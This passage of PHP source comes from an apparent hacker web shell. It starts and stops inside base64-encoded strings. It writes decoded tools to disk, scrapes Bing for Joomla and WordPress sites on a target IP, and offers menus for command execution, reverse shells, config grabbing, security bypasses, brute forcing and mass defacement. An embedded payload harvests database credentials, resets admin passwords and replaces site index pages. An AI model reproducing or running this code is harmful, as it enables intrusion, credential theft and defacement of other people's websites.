IDsgDQoNCiAgICB3aGlsZSAoJGkgPD0gNykgeyANCiAgICAgICAgJG51bSA9IHJhbmQoKSAlIDMzOyANCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyANCiAgICAgICAgJHBhc3MgPSAkcGFzcyAuICR0bXA7IA0KICAgICAgICAkaSsrOyANCiAgICB9IA0KDQogICAgcmV0dXJuICRwYXNzOyANCg0KfQ0KDQpmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKQ0KDQp7DQoNCiRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7DQokYXI9dHJpbSgkYXIxWzBdKTsNCnJldHVybiAkYXI7DQp9DQplY2hvICINClxuIjsgDQplY2hvICI8dGl0bGU+cm9vdCAuLS48L3RpdGxlPg0KXG4iOyANCmVjaG8gIiA8c3R5bGU+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiQk9EWSB7IFNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMTkxOTE5OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IG9saXZlOyAgIGNvbG9yOiB3aGl0ZTt9DQpcbiI7IA0KZWNobyAidGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogT3JiaXRyb247IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KXG4iOyANCmVjaG8gImlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBPcmJpdHJvbjsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjtoZWlnaHQ6MTd9DQpcbiI7IA0KZWNobyAiPC9zdHlsZT4NClxuIjsgDQplY2hvICI8Y2VudGVyPg0KXG4iOyANCmVjaG8gIjxmb250IGNvbG9yPVwiI0ZGRkY2RkZcIiBzaXplPScrMycgZmFjZT0nT3JiaXRyb24nPlsgfn4gQ2hhbmdlIEpvb21sYSBJbmRleCB+fiBdPC9mb250Pjxicj48YnI+DQpcbiI7IA0KZWNobyAiPEZPUk0gYWN0aW9uPVwiXCIgIG1ldGhvZD1cInBvc3RcIj4NClxuIjsgDQplY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmb3JtX2FjdGlvblwiIHZhbHVlPVwiMlwiPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8dGFibGUgYm9yZGVyPTE+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9wcmVmaXggPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3ByZWZpeFwiIHZhbHVlPVwiam9zX1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJkYl91c2VybmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfcGFzc3dvcmRcIiB2YWx1ZT1cIlwiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX25hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+QWRtaW4gQ29udHJvbCBwYW5lbCB1cmw8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwic2l0ZV91cmxcIiB2YWx1ZT1cImh0dHA6Ly9zaXRlLmNvbS9hZG1pbmlzdHJhdG9yL1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICINClxuIjsgDQplY2hvICI8L3RhYmxlPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8YnI+DQpcbiI7IA0KZWNobyAiPFRFWFRBUkVBIHJvd3M9XCIxOFwiICBjb2xzPVwiNTBcIiBuYW1lPVwiY29kZVwiPjwvVEVYVEFSRUE+DQpcbiI7IA0KZWNobyAiCTxicj4NClxuIjsgDQplY2hvICI8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlN1Ym1pdFwiIG5hbWU9XCJTdWJtaXRcIj4NClxuIjsgDQplY2hvICI8L0ZPUk0+DQpcbiI7IA0KPz4=';
$file = fopen("zjommindexz.php" ,"w+");
$write = fwrite ($file ,base64_decode($coddd));
fclose($file);

echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Joomla Index Changer</span><br><iframe src=zjommindexz.php width=75% height=60% frameborder=0></iframe></div></center>"; 
}
if(isset($_GET['action']) && $_GET['action'] == 'joomlarvrssrvetll'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Reverse Server</span></font></center><br>';
echo '<center>  
<form method="post" action="" enctype="multipart/form-data">  
<input type="text" name="ip" value="" placeholder="Extract From ip" size="15"> <input type=submit name=get value=&nbsp;&nbsp;Get&nbsp;&nbsp; />  
<br>  <br>
<textarea class="area"name="sites" cols="40" rows="13">';  
if(isset($_POST['get']) && $_POST['ip'] != ""){  
        $target = $_POST['ip'];  
        $sites = mbing("ip:$target index.php?option=com");  
        if(!empty($sites)){  
        $targets = implode("
",cln_arr(array_map("jos_site",$sites)));  
        echo $targets;  
        }else{  
            echo "No Joomla Found.";  
        }  
}  
echo '</textarea></center>';  

function mbing($what){  
    for($i = 1; $i <= 2000; $i += 10){  
        $ch = curl_init();  
        curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".str_replace(" ","+", $what)."&first=$i");  
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16");  
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);      
        curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');  
        curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');  
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);  
        $data = curl_exec($ch);  
        preg_match_all('#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#',$data, $links);  
        foreach($links[1] as $link){  
            $allLinks[] = $link;  
        }  
        if(!preg_match('#class="sb_pagN"#',$data)) break;  
    }  
      
    if(!empty($allLinks) && is_array($allLinks)){  
        return array_unique($allLinks);  
    }  
}  

function cln_arr($array){  
    return @array_filter(@array_unique($array));  
}  
function jos_site($site){  
    return (preg_match("/option/",$site)) ? preg_replace("#(.*?)/index(.*)|(.*?)/?option(.*)#","$1/",$site):false;  
}
}
if(isset($_GET['action']) && $_GET['action'] == 'wordddprssrrrvrse'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';

echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Wordpress Reverse Server</span></center><br>";
echo '<center>
<form method="post" action="" enctype="multipart/form-data">  
<input type="text" name="ip" value="" placeholder="Extract From ip" size="15"> <input type=submit name=get value=&nbsp;&nbsp;Get&nbsp;&nbsp; /><br>  
<br />  
<textarea class="area" name="sites" cols="40" rows="13">';  
if(isset($_POST['get']) && $_POST['ip'] != ""){  
        $target = $_POST['ip'];  
        $dorks = array('/?page_id=', '/wp-content/');          
        foreach($dorks as $dork){  
            $sites = mbing("ip:$target $dork");  
            if(!empty($sites)){  
                $targets = implode("
",cln_arr(array_map("wp_site",$sites)));  
                echo $targets."
";  
            }  
        }  
          
}  
echo '</textarea></center>';  

function mbing($what){  
    for($i = 1; $i <= 2000; $i += 10){  
        $ch = curl_init();  
        curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".str_replace(" ","+", $what)."&first=$i");  
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16");  
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);      
        curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');  
        curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');  
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);  
        $data = curl_exec($ch);  
        preg_match_all('#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#',$data, $links);  
        foreach($links[1] as $link){  
            $allLinks[] = $link;  
        }  
        if(!preg_match('#class="sb_pagN"#',$data)) break;  
    }  
      
    if(!empty($allLinks) && is_array($allLinks)){  
        return array_unique($allLinks);  
    }  
}  

function cln_arr($array){  
    return @array_filter(@array_unique($array));  
}  

function wp_site($site){  
    return (eregi("wp-content",$site) or eregi("page_id=",$site)) ? str_replace("?","",preg_replace("#(.*?)/(\?page_id=|wp-content)(.*)#","$1",$site)):false;  
}
}

if(isset($_GET['action']) && $_GET['action'] == 'tule'){
?>
<br><center><b class="cont" align="center">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a><br><br>
<a href="?action=cmd">Command Execution</a><br><br>
<a href="?action=com64">Base64 Command</a><br><br>
<a href="?action=vgrab">Config Grabber</a><br><br>
<a href="?action=subdomainchkrezes">Subdomain Checker</a><br><br>
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a><br><br>
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a><br><br>
<a href="?action=cari">Find Directory Writable/Readable</a><br><br>
<a href="?action=zonh">Zone-h Notifier</a><br><br>
<a href="?action=shhhshell">Shtml Command Shell</a><br><br>
<a href="?action=beko">Back connect Simple</a><br><br>
<a href="?action=rubybckconnnect">Ruby BackConnect</a><br><br>
<a href="?action=prlbckacnonect">Perl BackConnect</a><br><br>
<a href="?action=pythnonbakcncete">Python BackConnect</a><br><br>
<a href="?action=exploit">Exploit</a><br><br>
<a href="?action=whmcskillrer">Whcms Killer</a><br><br>
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a><br><br>
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'sime'){
?>
<br><center><b class="cont" align="center">
<a href="?action=sym">Symlink Info</a><br><br>
<a href="?action=dose">Cms Scanner</a><br><br>
<a href="?action=vkill">Perl based symlink</a><br><br>
<a href="?action=file">Symlink Manual</a><br><br>
<a href="?action=manu">Manually Retrieve Config</a><br><br>
<a href="?action=ensim">Enable Symlink If Disabled</a><br><br>
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a><br><br>
<a href="?action=simby">Symlink Bypass 2014</a></b><br></center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'brut'){
?>
<br><center><b class="cont" align="center">
<a href="?action=skybru">Skype Brute Force</a><br><br>
<a href="?action=cpbru">Cpanel Brute Force</a><br><br>
<a href="?action=jmbru">Joomla Brute Force</a><br><br>
<a href="?action=wpbru">Wordpress Brute Force</a><br><br>
<a href="?action=twbru">Twitter Brute Force</a><br><br>
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a><br><br>
<a href="?action=ftpbrtfrcee">Ftp Bruteforce</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'baipas'){
?>
<br><center><b class="cont" align="center">
<a href="?action=grasy">Bypass /etc/passwd</a><br><br>
<a href="?action=nemcon">Bypass Users Server</a><br><br>
<a href="?action=cgipl">Bypass Perl Security</a><br><br>
<a href="?action=bypsrootwzp">Bypass Root Path with Zip File</a><br><br>
<a href="?action=bforb">Bypass Root Path with system function</a><br><br>
<a href="?action=rootexecbpass">Bypass Root Path with exec function</a><br><br>
<a href="?action=rootshelleexecbpass">Bypass Root Path with shell_exec function</a><br><br>
<a href="?action=posget">Bypass posix_getpwuid</a><br><br>
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a><br><br>
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a><br><br>
<a href="?action=setphr">Bypass suPHP Security</a><br><br>
<a href="?action=simpelb">Simple Bypasser</a><br><br>
<a href="?action=ritf">Read Files</a><br><br>
<a href="?action=baidir">Bypass Chmod Directory</a><br><br>
<a href="?action=forb14">Bypass Forbidden 2014</a><br><br>
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a><br><br></center>
<br></b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'mase'){
?>
<br><center><b class="cont" align="center">
<a href="?action=mass">Mass Deface Dirs</a><br><br>
<a href="?action=joomla">Mass Change Admin Joomla</a><br><br>
<a href="?action=vb">Mass Change Admin vBulletin</a><br><br>
<a href="?action=wp">Mass Change Admin Mass WordPress</a><br><br>
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a><br><br>
<a href="?action=wrdprshtmlinj">Wordpress Hijack Index Priv8</a><br><br>
<a href="?action=joommlallainxc">Joomla Index Changer</a><br><br>
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a><br><br>
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'sesc'){
?>
<br><center><b class="cont" align="center">
<a href="?action=exgz">Bypass Server Security Functions</a><br><br>
<a href="?action=tespr">Test Permission</a><br><br>
<a href="?action=srvrinformations">Server Infos</a><br><br></center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'wpandjmlamassdfce'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
//extract script
$gfgf4fff = 'PD9waHANCi8qDQpXb3JkcHJlc3MgJiBKb29tbGEgTWFzcyBEZWZhY2VyIFYyDQpOb3QgQ29kZWQgQnkgQW5vbkdob3N0T2ZmaWNpYWwgLCBidXQgb25seSB0aGUgZGVzaWduDQpmYWNlYm9vayA6IC9Bbm9uR2hvc3RPZmZpY2lhbDINCg0KdGhpcyB2ZXJzaW9uIHVzZXMgdHdvIG1ldGhvZHMgZm9yIGdldHRpbmcgc2l0ZXMgJiB1c2VycyAmIGNvbmZpZyBmaWxlDQpbK10gdGhlIGZpcnN0IG1ldGhvZCBpcyBnZXR0aW5nIGV2ZXJ5dGhpbmcgYWJvdXQgdGhlIGRvbWFpbiBmcm9tICggL2V0Yy9uYW1lZC5jb25mICkgLCBhbmQgZGVmYWNpbmcNClsrXSB0aGUgc2Vjb25kIG1ldGhvZCBpcyBnZXR0aW5nIHNpdGVzIG5hbWVzIGZyb20gKCAvdmFyL25hbWVkICkgLCB0aGVuIGNvbGxlY3RpbmcgdXNlcm5hbWVzIG5hZCBkZWZhY2luZw0KDQpkb24ndCB3b3JyeSBhYm91dCB0aGUgYmFzZTY0IGVuY3J5cHRpb24gaW4gbGluZXMgMjAgYW5kIDI1ICwganVzdCB0aGUgc3R5bGUgLCBhbmQgdGhlIHNjcmlwdCBuYW1lDQp5b3UgY2FuIGRlY29kZSBhbmQgY2hlY2sgdGhlbSBpZiB5b3UgZG9uJ3QgdHJ1c3QgbWUgOykNCiovDQplY2hvICcNCjxodG1sPg0KPC9oZWFkPg0KPHRpdGxlPkFub25HaG9zdCAgOiBXb3JkcHJlc3MgJiBKb29tbGEgTWFzcyBEZWZhY2VyPC90aXRsZT4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8Y2VudGVyPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCnRhYmxlLGJvZHkgew0KYmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vaW1nMTUuaG9zdGluZ3BpY3MubmV0L3BpY3MvMTE1ODMwdGxjaGFyZ2VtZW50LnBuZyIpOw0KYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCmJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsNCmNvbG9yOmJsYWNrOw0KZm9udC1mYW1pbHk6ICJUcmVidWNoZXQgTVMiLEFyaWFsO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDttYXJnaW46MDtwYWRkaW5nOjA7fQ0KLmhlYWRlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTt0b3A6MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KLmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KaW5wdXRbdHlwZT0ic3VibWl0Il17YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1LDI1LDI1LDAuNik7Ym9yZGVyOjE7IHBhZGRpbmc6MnB4OyBmb250LXNpemU6MjVweDtmb250LWZhbWlseTpvcmJpdHJvbjsgY29sb3I6cmVkO2JvcmRlcjoycHggc29saWQgd2hpdGU7bWFyZ2luOjRweCA0cHggOHB4IDA7fQ0KaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXJ7Y29sb3I6U2VhU2hlbGw7fQ0KaW5wdXRbdHlwZT0idGV4dCJdOmhvdmVye2JhY2tncm91bmQ6IzIyMjIyMjt9DQppbnB1dFt0eXBlPSJyYWRpbyJde21hcmdpbi10b3A6IDA7fQ0KLnRkMiB7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkIHJlZDtib3JkZXItcmFkaXVzOiAycHggMnB4IDJweCAycHg7fQ0KaW5wdXRbdHlwZT0idGV4dCJdIHtvdXRsaW5lOm5vbmU7dHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy13ZWJraXQtdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy1tb3otdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0Oy1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMnB4O2JhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjE7IHBhZGRpbmc6MnB4OyBmb250LWZhbWlseTpvcmJpdHJvbjsgZm9udC1zaXplOjE1cHg7IGNvbG9yOiNmZmZmZmY7Ym9yZGVyOjJweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggNHB4IDhweCAwO30NCi5ldmVuIHtiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1LCAyNSwgMjUsIDAuNik7fQ0KLm9kZCB7YmFja2dyb3VuZC1jb2xvcjogcmdiYSgxMDIsIDEwMiwgMTAyLCAwLjYpO30NCmEge2NvbG9yOiNmZmY7fSBhOmhvdmVyIHtjb2xvcjpyZWQ7fQ0KZmllbGRzZXR7Ym9yZGVyOiAxcHggc29saWQgZ3JleTsgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjcpOyB3aWR0aDogNjAwcHg7IG1hcmdpbjogMCBhdXRvO21pbi1oZWlnaHQ6MjQwcHg7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjYpOyBjb2xvcjogd2hpdGU7fQ0KLmdyZWVuIHtjb2xvcjojMDBGRjAwO2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0KLnJlZCB7Y29sb3I6I0ZGMDAwMDtmb250LXdlaWdodDpib2xkO30NCi5raWxsbWUge2ZvbnQtZmFtaWx5Om9yYml0cm9uO3Bvc2l0aW9uOiBmaXhlZDsgdG9wOiAyMHB4OyByaWdodDogMjBweDsgYm9yZGVyOiAycHggc29saWQgIzRDODNBRjsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAyMHB4OyBjb2xvcjogd2hpdGU7IGZvbnQtd2VpZ2h0OiBib2xkO30NCiANCi5yZXN1bHQge2JvcmRlcjoycHggc29saWQgIzRDODNBRjstbW96LWJvcmRlci1yYWRpdXM6MTBweDtib3JkZXItcmFkaXVzOjEwcHg7fSANCg0KPC9zdHlsZT4NCiA8Y2VudGVyPjxoMT5Bbm9uR2hvc3QgV29yZHByZXNzICYgSm9vbWxhIE1hc3MgRGVmYWNlciA8L2gxPjwvY2VudGVyPg0KIDwvaGVhZD4NCiA8Ym9keT4nOw0KDQoNCi8vIGdldHRpbmcgaW5mbyBmcm9tIGluc2lkZSA6KQ0KZnVuY3Rpb24gdHVuaXNpYSgkdGV4dCwkYmlkZXlhLCRuaWhleWEsJGk9MSl7DQogICAgJGFyMD1leHBsb2RlKCRiaWRleWEsICR0ZXh0KTsNCiAgICAkYXIxPWV4cGxvZGUoJG5paGV5YSwgJGFyMFskaV0pOw0KICAgIHJldHVybiB0cmltKCRhcjFbMF0pOw0KfQ0KDQpmdW5jdGlvbiByYW5kb210KCkgew0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsNCiAgICBzcmFuZCgoZG91YmxlKW1pY3JvdGltZSgpKjEwMDAwMDApOw0KICAgICRpID0gMDsNCiAgICAkcGFzcyA9ICcnOw0KICAgIHdoaWxlICgkaSA8PSA3KSB7DQogICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsNCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOw0KICAgICAgICAkcGFzcyA9ICRwYXNzIC4gJHRtcDsNCiAgICAgICAgJGkrKzsNCiAgICB9DQogICAgcmV0dXJuICRwYXNzOw0KfQ0KDQovLyBqb29tbGEgaW5kZXggY2hhbmdlcg0KZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmYsICRpbmRleF9zaXRlLCAkZG9tYWluKSB7DQoNCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGluZGV4X3NpdGUpOw0KICAgICRkb2xlciA9ICckJzsNCiAgICAkdXNlcm5hbWUgPSB0dW5pc2lhKCRjb25mLCAkZG9sZXIuInVzZXIgPSAnIiwgIic7Iik7DQogICAgJHBhc3N3b3JkID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJwYXNzd29yZCA9ICciLCAiJzsiKTsNCiAgICAkZGJuYW1lID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJkYiA9ICciLCAiJzsiKTsNCiAgICAkcHJlZml4ID0gdHVuaXNpYSgkY29uZiwgJGRvbGVyLiJkYnByZWZpeCA9ICciLCAiJzsiKTsNCiAgICAkaG9zdCA9IHR1bmlzaWEoJGNvbmYsICRkb2xlci4iaG9zdCA9ICciLCInOyIpOw0KICAgICRjbz1yYW5kb210KCk7DQogICAgJHNpdGVfdXJsID0gImh0dHA6Ly8iLiRkb21haW4uIi9hZG1pbmlzdHJhdG9yIjsNCiAgICAkb3V0cHV0ID0gJyc7DQogICAgJGNvbmQgPSAwOyANCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCk7DQogICAgaWYoJGxpbmspIHsNCiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCiAgICAgICAgJHJlcTEgPSBteXNxbF9xdWVyeSgiVVBEQVRFIGAiLiRwcmVmaXguInVzZXJzYCBTRVQgYHVzZXJuYW1lYCA9J2FkbWluJyAsIGBwYXNzd29yZGAgPSAnNDI5N2Y0NGIxMzk1NTIzNTI0NWIyNDk3Mzk5ZDdhOTMnLCBgdXNlcnR5cGVgID0gJ1N1cGVyIEFkbWluaXN0cmF0b3InLCBgYmxvY2tgID0gMCIpOw0KICAgICAgICAkcmVxID0gbXlzcWxfbnVtcm93cyhteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgTElLRSAnIi4kcHJlZml4LiJleHRlbnNpb25zJyIpKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIA0KICAgIGlmKCRyZXExKXsNCiAgICAgICAgaWYgKCRyZXEpIHsNCiRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4idGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBgY2xpZW50X2lkYCA9ICcwJyBhbmQgYGhvbWVgID0gJzEnIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWUgPSAkZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJleHRlbnNpb25zYCBXSEVSRSBgbmFtZWA9JyIuJHRlbXBsYXRlX25hbWUuIicgb3IgYGVsZW1lbnRgID0gJyIuJHRlbXBsYXRlX25hbWUuIiciKTsNCiRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfaWQgPSAkZGF0YVsiZXh0ZW5zaW9uX2lkIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX